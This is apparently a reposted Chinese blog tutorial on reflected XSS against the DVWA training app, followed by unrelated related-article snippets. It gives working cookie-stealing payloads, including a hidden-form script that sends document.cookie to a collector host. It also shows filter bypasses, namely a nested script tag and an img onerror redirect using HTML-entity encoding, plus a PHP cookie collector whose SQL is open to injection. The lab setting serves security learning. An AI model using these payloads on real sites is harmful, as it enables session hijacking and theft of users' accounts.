int型 判断奇偶_XSS(Reflected) 反射型跨站攻击

9da7c8d84dc11f548937ad98130e0452.png

今天我学习一下反射型XSS。

1、low级别

打开DVWA网站,先切换到low级别,选择XSS(Reflected)

582f2f08e036116b28c0f5ab5f75bbbb.png

先查看其源代码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

从上面代码以及执行结果来看,直接把用户输入,也就是name变量值直接显示在界面。试探是否存在XSS,最直接的方法是输入payload代码 <script>alert("xss")</script>,执行查看结果,如果能够弹出alert对话框,则证明存在xss。

a47c2c382f5876686e15fd6533f42f34.png

DVWA网站上,在上面提交<script>alert("xss")</script>,,出现上面提示框,则证明该网站存在xss攻击漏洞。

利用这个XSS,我们可以获取用户的cookie或session,获得后,可以构造“合法用户”去访问网站。首先编写js文件,在窗口输入中,输入后执行这个JS文件。JS代码如下:

document.write("<form action='http://192.168.92.129/DVWA/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

上面代码主要是构造一个页面,这个页面做一个隐藏的form表单和隐藏域,内容是把当前网站的cookie提交表单后,提交到steal.php文件处理。在攻击时,这个js文件和这个php文件以及数据库是放在攻击者自己的服务器上。这里我把他们都放在了同一个网站里,原理是相同的。

由steal.php文件完成把cookie写入文件,steal.php文件内容如下。

<?php

header("content-type:text/html;charset=utf-8");

$conn=mysqli_connect("localhost","root","123456");

mysqli_select_db($conn,"dvwacookie");

if(isset($_GET['data']))

{

$sql="insert into low(cookie) values('".$_GET['data']."');";

$result=mysqli_query($conn,$sql);

echo "1</br>";

mysqli_close();

}

else if(isset($_POST['data']))

{

$sql="insert into low(cookie) values('".$_POST['data']."');";

if (mysqli_query($conn,$sql)) {

echo "scuess!";

} else {

echo "Error: " . $sql . "<br>" . mysqli_error($conn);

}

echo "2</br>".$_POST['data']."</br>";

mysqli_close();

}

else {

$sql="select * from low";

$result=mysqli_query($conn,$sql);

while($row=mysqli_fetch_array($result))

{

echo "cookie is:".$row[1]."</br>";

}

mysqli_close();

}

?>

上面代码主要根据是get还是post,取数据函数不同。在连接数据库后,把cookie写入到表low中。建库和表的SQL语句如下。

这个库表的建立sql语句

SET FOREIGN_KEY_CHECKS=0;

DROP TABLE IF EXISTS `high`;

CREATE TABLE `high` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `low`;

CREATE TABLE `low` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

DROP TABLE IF EXISTS `medium`;

CREATE TABLE `medium` (

`id` int(11) NOT NULL AUTO_INCREMENT,

`cookie` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

在输入窗口下,输入下面payload进行攻击,上面代码中为了调试,添加打印语句,实际攻击中,不会有内容输出到页面上。

<script src=http://192.168.92.129/DVWA/cookie.js></script>

相当于在浏览器地址栏执行下面语句:

http://192.168.92.129/DVWA/vulnerabilities/xss_r/?name=<script src=http://192.168.92.129/DVWA/cookie.js></script>

我们在这里演示为了方便,放在了同一个域下面。实际上src可以加载远程服务器的js。

执行完成后,看到已经插入到low表中。

05553df4f2eeff39dcda883c5c8007cf.png

如果没有插入记录成功,则可能是mysql设置问题,执行下面语句。

1 show variables like "sql_mode";

2 set sql_mode='';

3 set sql_mode='NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES';

XSS攻击方式经常是攻击者可以将带有执行脚本的链接地址伪装后发给正在访问某个网站(例如某银行网银)的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

2、Medium级别

下面是我们学习Medium级别,切换到中级,查看网站代码:

0443f7ae96ccc56d17c17c517d207190.png

可以看到使用str_replace函数把<script>替换为空格了。所以我们在构造js文件时,可以利用str_replace函数只能替换一次,且不区分大小写的特点,在提交表单时,把js语句调整为<scri<script>pt src=http://192.168.92.129/DVWA/cookie.js></script>

上面str_replace函数是对name变量字符串进行正则替换,如果找到<script>替换为空,替换后执行的还是<script src=http://192.168.92.129/DVWA/cookie.js></script> 语句。

同时修改steal.php中的表,写到medium表中。执行后,检查medium表,可以查看到把cookie写到medium表中。

a87387a9d87e07e0da5c7af288b3ac46.png

3、High级别

下面学习安全级别设置为Hight的情况。设置后查看源代码

e913905a0f88ae9a936eea4e49629d87.png

发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码,构造payload。

上面preg_replace字符串替换函数中,使用的正则表达式。

preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name'表示在在字符串中找script6个字符,i是不区分大小写,这些字符中间可以或前后可以有其它多个字符。

<img src=# οnerrοr=alert("xss")> 能够执行,证明还是存在XSS攻击。通过加载一个不存在的图片出错触发javascript on error事件,继续弹框,证明出来有xss,这样的payload还有很多。

那么输入下面语句试试,发现没有得到cookie

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

分析上面语句,发现了问题,在上面语句中,发现了可以构成script,看下面我标记后的语句

<img

src=# οnerrοr=(location.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

7406f72203c68feaba74d40511d0228b.png

说明把最后一个t之前的全部过滤了。

把其中一个字符使用ASCII编码,防止出现script字符串。

可以使用转码网站http://www.ofmonkey.com/encode/ascii

b729f71105d0b7d9a84492b39c7b2562.png

<img

src=# οnerrοr=(locat&#x69;on.href="http://192.168.92.129/DVWA/steal.php?data="+document.cookie)>

则能正常执行,获得cookie

我们再替换其中一个字符t,ASCII编码 &#116;

<img

src=# οnerrοr=(locat&#x69;on.href="http://192.168.92.129/DVWA/s&#116;eal.php?data="+document.cookie)>

执行完成后,也会得到cookie。字符转码是在攻击中经常使用的技术。

关注安全 关注作者

(完)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/345217.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【渝粤题库】广东开放大学 会展概论 形成性考核

选择题 题目&#xff1a;中国进出口商品交易会创办于&#xff08; &#xff09;。 题目&#xff1a;会展产业对区域经济发展的推动作用主要是通过&#xff08; &#xff09;&#xff0c;带动整个产业链发展来实现的。 题目&#xff1a;展会结束后&#xff0c;下列不属…

【渝粤题库】广东开放大学 土木工程CAD 形成性考核

选择题 题目&#xff1a;当丢失了下拉菜单&#xff0c;可以用下面哪一个命令重新加载标准菜单&#xff08; &#xff09; 题目&#xff1a;下面的各选项除了&#xff08; &#xff09;&#xff0c;其他都可以绘制圆弧。 题目&#xff1a;在AutoCAD中&#xff0c;设置"夹点…

junit 运行_运行,JUnit! 跑!!!

junit 运行JUnit与JavaScript和SVN一起是程序员经常开始使用的一些技术&#xff0c;甚至没有读过一篇博客文章&#xff0c;更不用说一本书了。 也许这是一件好事&#xff0c;因为它们看起来足够简单并且易于理解&#xff0c;因此我们可以立即使用它们而无需任何手册&#xff0c…

pytorch 查看当前学习率_pytorch实现查看当前学习率

在pytorch训练过程中可以通过下面这一句代码来打印当前学习率print(net.optimizer.state_dict()[param_groups][0][lr])补充知识&#xff1a;Pytorch&#xff1a;代码实现不同层设置不同的学习率&#xff0c;选择性学习某些层参数1&#xff0c;如何动态调整学习率在使用pytorch…

【渝粤题库】广东开放大学 建设监理 形成性考核

选择题 题目&#xff1a;建设工程监理是针对&#xff08;&#xff09;所实施的监督管理。 题目&#xff1a;按照建筑法规定&#xff0c;建设工程监理实施的前提是&#xff08;&#xff09;。 题目&#xff1a;我国政府于&#xff08;&#xff09;宣布在我国实行建设监理制。 题…

将Host Cobol批次和Monolith Webapps移动到云和微服务

在Amazon Event “从大型机到微服务– Vanguard迁移到云”中非常有趣的演示。 以下部分可用作迁移模式 &#xff1a;如何从大型机迁移到微服务的不同方式&#xff1a; 重新托管 再造 重构 使用Linux和Java重新平台 回购 退役 全部结合 该演示文稿还展示了Vanguard的Cloud…

flutterapp部分手机无法打开_Flutter应用程序在最新更新后无法运行

Environment DetailsWindows VS CodeFlutter 1.17.5 • channel stable • https://github.com/flutter/flutter.gitFramework • revision 8af6b2f038 (3 days ago) • 2020-06-30 12:53:55 -0700Engine • revision ee76268252Tools • Dart 2.8.4Error From Debug ConsoleE…

【渝粤题库】广东开放大学 文化市场营销 形成性考核 (2)

选择题 题目&#xff1a; 国际投资中的政治风险防范主要表现在生产和经营战略及( )上。 选择一项&#xff1a; 题目&#xff1a; 国际投资时投资者对东道国投资经济环境首要考虑的经济政策是( ) 选择一项&#xff1a; 题目&#xff1a;用于文化产业生产和经营消费…

【渝粤题库】广东开放大学 物业管理实务 形成性考核 (2)

选择题 题目&#xff1a;房地产属于非货币性资产&#xff0c;其拥有者可以很快将房地产兑换成现金。 题目&#xff1a; 物业经营管理既包括保证物业正常使用的运行操作管理活动&#xff0c;也包括将物业作为一种收益性资产所进行的一系列的经营活动。 题目&#xff1a;政府干预…

android动态添加的页面怎么加功能_Android跳转应用安装页面

一.低版本跳转方式Intent intent new Intent(Intent.ACTION_VIEW);intent.setDataAndType(uri,"application/vnd.android.package-archive");intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);startActivityForResult(intent, 666);uri是apk的uri记得不要忘了在mani…

【渝粤题库】广东开放大学 计算机英语 形成性考核

&#x1f449;关注我,看答案&#x1f448; 选择题 题目&#xff1a;The fourth generation computers, such as microcomputers, appearing in the mid-1970s, were based on(). 题目&#xff1a;The second generation computers, introduced in the early 1960s, were based …

字节数组转为二进制数 c#_如何使用字节序列化双精度数组(二进制增量编码,用于低差单调浮点数据集)...

字节数组转为二进制数 c#低延迟系统需要高性能的消息处理和传递。 由于在大多数情况下&#xff0c;数据必须通过有线传输或序列化才能保持持久性&#xff0c;因此编码和解码消息已成为处理管道的重要组成部分。 高性能数据编码的最佳结果通常涉及应用程序数据细节的知识。 本文…

【渝粤题库】陕西师范大学100091 现代教育技术学 作业(专升本)

的有关程序和文件。 D计算机软件按照其功能和应用范围的不同&#xff0c;可分为系统软件和应用软件两大类。 9、计算机辅助测验系统的结构与功能是&#xff08; &#xff09; A计算机辅助测验系统是计算机管理教学的重要应用领域。 B利用计算机可以大大简化题库的建设、试卷的生…

java用户的登录图片_Java 如何用 token 做用户登录认证

1、什么是 token&#xff1f;&#xff1f;&#xff1f;Token 是服务端生成的一串字符串&#xff0c;以作客户端进行请求的一个令牌。2、token 做用户登录认证● 流程3、 Java 实现● 用户登录生成 token&#xff0c;保存到 Redis 中最简单的 token 可由 uid (用户唯一的身份标识…

【渝粤题库】陕西师范大学151204 中级财务会计作业(笔试题型)

《中级财务会计&#xff08;专升本&#xff09;》作业 一、单项选择 1、应收账款的产生原因是( )。 A、现销 B、赊销 C、现购 D、赊购 2、在物价持续上涨期间&#xff0c;能使企业当期利润最小的存货计价方法是( )。 A、后进先出法 B、先进先出法 C…

【渝粤题库】陕西师范大学152210 现代社会调查理论与方法

陕西师范大学 内 部 题 库 教育 &#xff08;yuyueshool&#xff09; 编制 陕西师范大学 内 部 题 库 教育 &#xff08;yuyueshool&#xff09; 编制 《现代社会调查理论与方法》作业 一、填空题 1.社会调查的作用&#xff0c;从大的方面说&#xff0c;主要体现在描述状况…

服务器安装mysql要密码_在阿里云服务器上安装mysql及重置密码

参考链接&#xff1a;https://www.cnblogs.com/ljysy/p/10324854.html下载与安装MySQL&#xff1a;这里采用Yum管理好了各种rpm包的依赖&#xff0c;能够从指定的服务器自动下载RPM包并且安装&#xff0c;所以在安装完成后必须要卸掉&#xff0c;否则会自动更新。1.安装MySQL官…

Corda服务的异步流调用

如何使流程更快&#xff1f; 如果您已经与Corda合作了一段时间&#xff0c;那么您很有可能已经考虑过这一点。 您可以通过以下几方面进行合理的调整来提高性能&#xff1a;事务大小&#xff0c;优化查询并减少整个Flow执行过程中所需的网络跃点数。 在某种程度上&#xff0c;还…

【渝粤题库】陕西师范大学164117 企业组网技术 作业 (高起专)

《企业组网技术》作业 一、单选题&#xff08;每题4分&#xff0c;共60分&#xff09; 1. 下列关于网络操作系统叙述错误的是&#xff08; &#xff09;。 A. 是计算机和用户之间的接口 B. 只能在相同的系统间进行连接和操作 C. 具有网络通信和网络服务的功能 D. 管理计算机的硬…

【渝粤题库】陕西师范大学165209 组织职业生涯管理 作业(专升本)

《组织职业生涯管理》作业答案 一、单选题 1、人力资源供过于求的表现不包括_________ A、职业岗位缺乏 B、社会就业不足 C、政府促进就业政策 D、职业选择余地较大 2、职业的个人功能不包括___________ A、社会稳定的安全阀 B、获取利益的手段 C、个人发挥才能的手段 D、社会贡…